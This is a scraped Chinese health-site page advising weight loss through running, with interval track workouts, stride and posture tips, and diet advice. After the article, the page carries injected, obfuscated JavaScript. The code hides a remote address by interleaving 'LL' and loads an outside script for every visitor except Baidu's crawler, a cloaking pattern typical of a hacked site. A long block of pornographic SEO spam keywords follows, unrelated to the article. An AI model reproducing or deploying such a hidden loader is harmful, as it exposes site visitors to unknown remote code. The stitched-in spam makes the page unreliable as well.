當前位置:首頁 > 健康 > 運動健身 > 正文

如何快速減肥健身好呢

2017-04-17 08:10:37  來源:360常識網   熱度:
導語:要想讓身上的贅肉盡快的減掉,還是需要找到正確方法的。單純的節食或是吃減肥藥,只能起到暫時性的作用,而且對身體健康還會產生一些隱患。

要想讓身上的贅肉盡快的減掉,還是需要找到正確方法的。單純的節食或是吃減肥藥,只能起到暫時性的作用,而且對身體健康還會產生一些隱患。若是能夠用運動鍛煉的方法來燃燒多余的脂肪,不但效果會更好,還能對人體健康有很多的好處,那么如何快速減肥健身好呢?

科學數據顯示,跑步是最能消耗身體熱量的運動。你只要了解幾個小訣竅,就能跑得更快、更長及更有效起到減肥、健身等目的。大型運動會中的跑步類冠軍總是特別受關注,因此運動科學家、教練和選手本人都非常著力于研究跑步技巧,這項運動不斷進步也就不足為奇。

在普通跑道上可以進行“階梯式”跑法練習:首先,進行5到10分鐘慢跑熱身,然后充分拉伸筋骨;然后以最快速度沖刺一圈,隨后慢跑一圈;接著快速沖刺兩圈,慢跑一圈;接下來快跑三圈,慢跑一圈;依次類推,沖刺四圈……最后慢跑5到10分鐘放松。

1、縮短步幅

根據美國薩克拉門托的加州大學生物力學博士阿蘭·赫雷爾賈克(Alan Hreljac,Ph.D.)的統計,10個業余跑步的人中,至少有8個的步伐過大。這不但會加重跑步對雙腳的震蕩,而且還降低了速度。要改變步幅過大的錯誤,你需要在跑步時保持身體略微前傾,這樣你邁出的腳就能提前在稍微靠近身體的位置落下。

2、對抗重力

跑步者應盡量減少雙腳著地的時間,在你跑步期間,一旦邁出的前腳接觸到地面,支撐腳就應該向后發力揚起。一個標準的模式:落地、踏穩、然后向后蹬出。

3、減少跳躍

跑步時可以想象頭上有一個距離頭頂5厘米的天花板,因此跑動時不能躍起過高。這樣你可以步伐將會更穩更有效。跑步不需要過多上下的運動,你需要做的是向前。

相信大家對如何快速減肥健身好呢也都很清楚了,不管大家需要多長的時間才能重塑一個好的身材,都是需要堅持到底的。而且在運動鍛煉的過程中千萬不要節食,注意飲食的豐富多樣化,補充膳食纖維和維生素,但是要限制脂肪的攝入量。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
青青草99热这里都是精品| 国产成品精品午夜视频| 人妻精品久久久久中文字幕一冢本| 国产网红主播无码精品| 国产伦精品一区二区三区在线观看 | 国产精品免费小视频| 99久久这里只精品国产免费| 日韩精品免费一级视频| 99久久久国产精品免费牛牛四川| 久久青青草原国产精品免费| 国产一成人精品福利网站| 国产午夜福利精品久久2021| 青青精品视频国产| 国产午夜精品一二区理论影院 | 99在线精品视频| 中文国产成人精品久久一区| 国产视频精品免费视频| 久久国产精品免费一区| 精品成人av一区二区三区 | 99re最新这里只有精品| 久久99精品久久久久子伦小说 | 久久99国产精品久久99果冻传媒| 高清国产精品人妻一区二区| 亚洲精品高清无码视频| 国产丝袜在线精品丝袜| 国产亚洲色婷婷久久99精品91| 国产精品自产拍在线观看花钱看 | 国产69精品久久久久9999| 国产精品国产三级国产AⅤ| 伊人久久精品影院| 永久免费精品影视网站| www.午夜精品| 99精品国产一区二区三区| 思思久久99热只有频精品66| 国产精品亚洲аv无码播放| 久久免费视频精品| 精品国产yw在线观看| 精品久久久久久久久亚洲偷窥女厕 | 麻豆va在线精品免费播放| 国产成人精品曰本亚洲79ren| 国产综合色产在线精品|